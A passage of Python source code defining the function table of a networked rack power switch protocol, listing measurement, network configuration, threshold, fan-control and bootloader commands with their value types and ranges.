func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5001] = func
func.guid = 5001
func.name = "MaxPower"
func.description = "Maximum port power occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5002] = func
func.guid = 5002
func.name = "MaxTotalCurrent"
func.description = "Maximum total current occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5003] = func
func.guid = 5003
func.name = "MaxTotalPower"
func.description = "Maximum total power occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 8
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[5004] = func
func.guid = 5004
func.name = "MaxVoltage"
func.description = "Maximum voltage occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5005] = func
func.guid = 5005
func.name = "MinVoltage"
func.description = "Minimum voltage occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5006] = func
func.guid = 5006
func.name = "MinTemperature"
func.description = "Minimum temperature occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "C"
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[5007] = func
func.guid = 5007
func.name = "MaxTemperature"
func.description = "Maximum temperature occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "C"
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[5008] = func
func.guid = 5008
func.name = "MinHumidity"
func.description = "Minimum humidity occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "%RH"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5009] = func
func.guid = 5009
func.name = "MaxHumidity"
func.description = "Maximum humidity occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "%RH"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10000] = func
func.guid = 10000
func.name = "Address"
func.description = "Identification of the module"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10001] = func
func.guid = 10001
func.name = "ModuleName"
func.description = "Module name"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10002] = func
func.guid = 10002
func.name = "FirmwareVersion"
func.description = "Firmware version"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_VERSION"
func.valDef.size = 4
func = Functions()
functions[10003] = func
func.guid = 10003
func.name = "HardwareVersion"
func.description = "Hardware version"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_VERSION"
func.valDef.size = 4
func = Functions()
functions[10004] = func
func.guid = 10004
func.name = "FirmwareID"
func.description = "Identification of the firmware"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 8
func = Functions()
functions[10005] = func
func.guid = 10005
func.name = "HardwareID"
func.description = "Identification of the hardware"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 8
func = Functions()
functions[10006] = func
func.guid = 10006
func.name = "RackName"
func.description = "Rack Name"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10007] = func
func.guid = 10007
func.name = "RackPosition"
func.description = "Position of the Energy Switch in the rack"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10008] = func
func.guid = 10008
func.name = "AdminLogin"
func.description = "Admin Login"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10009] = func
func.guid = 10009
func.name = "AdminPassword"
func.description = "Admin Password"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10010] = func
func.guid = 10010
func.name = "TemperatureUnitSelector"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10011] = func
func.guid = 10011
func.name = "IPAddress"
func.description = "IP-address"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10012] = func
func.guid = 10012
func.name = "SubNetMask"
func.description = "Subnetmask"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SUBNETMASK"
func.valDef.size = 4
func = Functions()
functions[10013] = func
func.guid = 10013
func.name = "StdGateWay"
func.description = "Standard gateway IP"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10014] = func
func.guid = 10014
func.name = "DnsServer"
func.description = "Dns server IP"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10015] = func
func.guid = 10015
func.name = "MAC"
func.description = "MAC address"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_MAC"
func.valDef.size = 6
func = Functions()
functions[10016] = func
func.guid = 10016
func.name = "DHCPEnable"
func.description = "DHCP enable"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10017] = func
func.guid = 10017
func.name = "NTPServer"
func.description = "NTP server IP"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10018] = func
func.guid = 10018
func.name = "UseDefaultNTPServer"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10019] = func
func.guid = 10019
func.name = "UseNTP"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10020] = func
func.guid = 10020
func.name = "SNMPTrapRecvIP"
func.description = "SNMP trap server IP-address"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10021] = func
func.guid = 10021
func.name = "SNMPTrapRecvPort"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10022] = func
func.guid = 10022
func.name = "SNMPCommunityRead"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10023] = func
func.guid = 10023
func.name = "SNMPCommunityWrite"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10024] = func
func.guid = 10024
func.name = "SNMPControl"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10025] = func
func.guid = 10025
func.name = "TelnetCLIPort"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10026] = func
func.guid = 10026
func.name = "TelnetUARTMUXPort"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10027] = func
func.guid = 10027
func.name = "SelectUARTMUCChannel"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10028] = func
func.guid = 10028
func.name = "LDAPServer"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10029] = func
func.guid = 10029
func.name = "UseLDAPServer"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10030] = func
func.guid = 10030
func.name = "Beeper"
func.description = "Beeper control enable beeper for n seconds"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "s"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10031] = func
func.guid = 10031
func.name = "DisplayLock"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10032] = func
func.guid = 10032
func.name = "DisplayTimeOn"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "min"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10033] = func
func.guid = 10033
func.name = "DisplayRotation"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10034] = func
func.guid = 10034
func.name = "PortName"
func.description = "Name of the port"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10035] = func
func.guid = 10035
func.name = "PortState"
func.description = (
"The state of the port, only used to set the port state, see current port state to get the port state"
)
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10036] = func
func.guid = 10036
func.name = "CurrentPriorOff"
func.description = "Priority level switch off when maximum total current exceeds threshold"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "1H8L"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10037] = func
func.guid = 10037
func.name = "DelayOn"
func.description = "Port activation delay after power recycle"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "s"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10038] = func
func.guid = 10038
func.name = "MaxCurrentOff"
func.description = "Maximum port current switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10039] = func
func.guid = 10039
func.name = "MaxCurrentWarning"
func.description = "Maximum port current warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10040] = func
func.guid = 10040
func.name = "MaxPowerOff"
func.description = "Maximum port power switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10041] = func
func.guid = 10041
func.name = "MaxPowerWarning"
func.description = "Maximum port power warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10042] = func
func.guid = 10042
func.name = "MaxTotalCurrentOff"
func.description = "Maximum total current switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10043] = func
func.guid = 10043
func.name = "MaxTotalCurrentWarning"
func.description = "Maximum total current warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10044] = func
func.guid = 10044
func.name = "MaxTotalPowerOff"
func.description = "Maximum total power switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10045] = func
func.guid = 10045
func.name = "MaxTotalPowerWarning"
func.description = "Maximum total power warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10046] = func
func.guid = 10046
func.name = "MaxVoltageOff"
func.description = "Maximum voltage switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10047] = func
func.guid = 10047
func.name = "MaxVoltageWarning"
func.description = "Maximum voltage warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10048] = func
func.guid = 10048
func.name = "MinVoltageOff"
func.description = "Minimum voltage switch off level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10049] = func
func.guid = 10049
func.name = "MinVoltageWarning"
func.description = "Minimum voltage warning level"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10050] = func
func.guid = 10050
func.name = "ActiveEnergyReset"
func.description = "Active Energy"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 8
func.valDef.unit = "kWh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10051] = func
func.guid = 10051
func.name = "ApparentEnergyReset"
func.description = "Apparent Energy"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 8
func.valDef.unit = "kVAh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10052] = func
func.guid = 10052
func.name = "MinTemperatureWarning"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "C"
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[10053] = func
func.guid = 10053
func.name = "MaxTemperatureWarning"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "C"
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[10054] = func
func.guid = 10054
func.name = "MinHumidityWarning"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "%RH"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10055] = func
func.guid = 10055
func.name = "MaxHumidityWarning"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "%RH"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[10056] = func
func.guid = 10056
func.name = "LedStatus"
func.description = "To set Status of a led"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10057] = func
func.guid = 10057
func.name = "MatrixDisplayStatus"
func.description = "To set Status of a small matrix display"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10058] = func
func.guid = 10058
func.name = "Baudrate"
func.description = "To set baudrate for circular buffers"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[10059] = func
func.guid = 10059
func.name = "P_PID"
func.description = "Proportional value of PID"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10060] = func
func.guid = 10060
func.name = "I_PID"
func.description = "Integral value of PID"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10061] = func
func.guid = 10061
func.name = "D_PID"
func.description = "Derivative value of PID"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10062] = func
func.guid = 10062
func.name = "WeightOfTempsensor"
func.description = "Gives the weight of a tempsensor to the input of a PID controller"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10063] = func
func.guid = 10063
func.name = "TargetTemp"
func.description = "Temperature to be set for PID controller"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[10064] = func
func.guid = 10064
func.name = "MaximumPWM"
func.description = "Maximum value of pwm to control ventilators"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10065] = func
func.guid = 10065
func.name = "MinimumPWM"
func.description = "Minimum value of pwm to control ventilators"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10066] = func
func.guid = 10066
func.name = "Startuptime"
func.description = ""
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "s"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[40000] = func
func.guid = 40000
func.name = "JumpBoot"
func.description = "Enter bootloader mode. Normally this command is only sent to application program. When the bootloader is already running, this command will only reply a positive acknowledge."
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 0
func = Functions()
functions[40001] = func
func.guid = 40001
func.name = "GotoAddressmode"
func.description = "Addressing mode on/off"
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[40002] = func
func.guid = 40002
func.name = "GotoFactoryMode"
func.description = ""
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 16
func = Functions()
functions[40003] = func
func.guid = 40003
func.name = "DoSnapshot"
func.description = ""
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[40004] = func
func.guid = 40004
func.name = "SampleChannelTime"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[40005] = func
func.guid = 40005
func.name = "SampleChannelFFT"
func.description = ""
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[40006] = func
func.guid = 40006
func.name = "FlushCallibData"
func.description = ""
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[40007] = func
func.guid = 40007
func.name = "ModNum"
func.description = (
"To retrieve the number of modules connected to the device. The device itself is treated as module 0."
)
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[40008] = func
func.guid = 40008
func.name = "ModInfo"
func.description = "To retrieve module information"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 26
func = Functions()
functions[40009] = func
func.guid = 40009
func.name = "ApplyIPSettings"
func.description = ""
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[50000] = func
func.guid = 50000
func.name = "Monitor"
func.description = "Get the monitor values"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_POINTER"
func = Functions()
functions[50001] = func
func.guid = 50001
func.name = "Parameter"
func.description = "get all parameters"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_POINTER"
func = Functions()
functions[50002] = func
func.guid = 50002
func.name = "CircularReadBuffer"
func.description = "Read from slave(application connected to rs232) to master or from master to application"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_CIRCULAR_BUFFER"
func.valDef.size = 1
func = Functions()
functions[50003] = func
func.guid = 50003
func.name = "CircularWriteBuffer"
func.description = "Write of data from application to master or from master to slave(application connected to rs232)"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_CIRCULAR_BUFFER"
func.valDef.size = 1
func = Functions()
functions[50004] = func
func.guid = 50004
func.name = "VoltageTimeSamples"
func.description = "Get the voltage samples in oscilloscope view mode"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 1
func = Functions()
functions[50005] = func
func.guid = 50005
func.name = "CurrentTimeSamples"
func.description = "Get the current samples in oscilloscope view mode"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 1
func = Functions()
functions[50006] = func
func.guid = 50006
func.name = "VoltageFreqSamples"
func.description = "Get the frequency analyse of the voltage"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 1
func = Functions()
functions[50007] = func
func.guid = 50007
func.name = "CurrentFreqSamples"
func.description = "Get the frequency analyse of the current"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 1
func = Functions()
functions[50008] = func
func.guid = 50008
func.name = "Eeprom"
func.description = "read or write eeprom data"
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 1
func = Functions()
functions[50009] = func
func.guid = 50009
func.name = "CallibrationValues"
func.description = ""
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_RAW"
func.valDef.size = 2
func = Functions()
functions[60000] = func
func.guid = 60000
func.name = "BootReadID"
func.description = "Get the identification of the microcontroller. The response contains the values stored at memory address 0xFF0000 and 0xFF00002. (8 bytes in total)"
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[60001] = func
func.guid = 60001
func.name = "BootJumpApp"
func.description = "Jump to the application, which starts at 0x4000. "
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 0
func = Functions()
functions[40013] = func
func.guid = 40013
func.name = "UDPUser"
func.description = "User mode for UDP commands"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[60002] = func
func.guid = 60002
func.name = "BootXTEA"
func.description = "Process a block of encrypted program memory data. The decrypted data will then be written into the program (flash) memory."
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[60004] = func
func.guid = 60004
func.name = "BootErase"
func.description = "Erase a page of program memory. The message takes one parameter, i.e. the page number. Valid page number for the dsPICFJ256 are from 16 to 170."
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[60005] = func
func.guid = 60005
func.name = "BootPageRange"
func.description = (
"To get the number of pages of the application firmware memory. Only pages within this range can be erased."
)
func.read = 0
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[60010] = func
func.guid = 60010
func.name = "BootParameters"
func.description = "To set or retrieve the parameters of the device stored in flash during production (factory mode) such as: - Application firmware id (RTF-number) - Application firmware version - Hardware ID (RTH-number) - Hardware version - UID "
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[40010] = func
func.guid = 40010
func.name = "DHCPReset"
func.description = "Reset DHCP"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
func = Functions()
functions[14] = func
func.guid = 14
func.name = "CurrentIP"
func.description = "Gives the current IP. When DHCP is on, you can see here what ip is given by the DHCP server"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_IP"
func.valDef.size = 4
func = Functions()
functions[10067] = func
func.guid = 10067
func.name = "UserLogin"
func.description = "User Login"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10068] = func
func.guid = 10068
